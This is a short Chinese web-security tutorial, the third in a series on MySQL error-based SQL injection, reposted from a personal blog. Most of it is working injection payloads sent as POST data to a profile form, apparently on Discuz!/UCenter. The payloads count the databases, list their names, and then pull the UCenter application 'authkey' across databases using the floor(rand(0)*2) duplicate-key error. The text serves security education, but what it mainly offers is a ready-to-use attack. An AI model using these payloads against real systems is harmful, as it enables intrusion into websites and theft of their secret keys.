from：RAyh4c的黑盒子
跨库爆出 uckey ，跨库到 ucenter 进行查询，这里我就不详叙了，都截图吧。
爆出数据库的个数
profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(count(*),1,64)) FROM information_schema.SCHEMATA),floor(rand(0)* 2))x from information_schema.tables group by x)a),'1')#]=1
逐个爆出数据库名
profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1
profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1
最后猜出库名 ucenter 后，再跨库爆出 uckey
profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) FROM ucenter.uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1
mysql暴错注入的科普 1 http://HdhCmsTest2cto测试数据/Article/201108/100722.html mysql暴错注入的科普 2 http://HdhCmsTest2cto测试数据/Article/201108/100723.html
查看更多关于mysql暴错注入的科普 3 - 网站安全 - 自学php的详细内容...